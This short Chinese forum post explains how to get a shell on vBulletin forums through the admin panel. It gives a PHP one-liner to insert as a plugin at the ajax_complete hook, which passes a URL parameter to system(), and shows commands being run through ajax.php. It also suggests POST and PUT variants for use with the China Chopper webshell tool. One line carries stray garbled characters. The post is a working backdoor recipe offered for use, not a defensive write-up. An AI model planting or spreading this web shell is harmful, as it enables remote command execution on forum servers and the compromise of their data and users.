vBulletin 论坛全版本 后台拿shell

 

在后台，进插件管理.添加插件.

Ajax_complete 填入代码:1 if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}
1 if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}

激活mod

访问
www.site.com/forumlocation/ajax.php?cmd=command - 低调求发展& M1 O2 n- E$ Q2 X

比如
www.site.com/forumlocation/ajax.php?cmd=ls  就执行了ls的命令
 就是一个简单的get型一句话，也可以改成post型的，放入菜刀，或者写个put型的，生成一个小马